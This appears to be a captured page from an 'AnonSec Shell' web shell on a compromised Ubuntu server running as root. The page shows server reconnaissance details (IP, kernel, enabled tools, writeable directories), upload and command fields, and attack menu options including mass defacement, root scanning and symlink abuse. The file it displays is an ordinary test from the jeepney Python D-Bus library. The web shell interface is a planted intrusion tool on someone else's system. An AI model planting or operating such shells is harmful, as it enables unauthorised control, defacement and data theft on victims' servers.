AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/jeepney/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/jeepney/tests/test_bindgen.py
from io import StringIO
import os.path

from jeepney.low_level import MessageType, HeaderFields
from jeepney.bindgen import code_from_xml

sample_file = os.path.join(os.path.dirname(__file__), 'secrets_introspect.xml')

def test_bindgen():
    with open(sample_file) as f:
        xml = f.read()
    sio = StringIO()
    n_interfaces = code_from_xml(xml, path='/org/freedesktop/secrets',
                                 bus_name='org.freedesktop.secrets',
                                 fh=sio)
    # 5 interfaces defined, but we ignore Properties, Introspectable, Peer
    assert n_interfaces == 2

    # Run the generated code, defining the message generator classes.
    binding_ns = {}
    exec(sio.getvalue(), binding_ns)
    Service = binding_ns['Service']

    # Check basic functionality of the Service class
    assert Service.interface == 'org.freedesktop.Secret.Service'
    msg = Service().SearchItems({"service": "foo", "user": "bar"})
    assert msg.header.message_type is MessageType.method_call
    assert msg.header.fields[HeaderFields.destination] == 'org.freedesktop.secrets'

Anon7 - 2022
AnonSec Team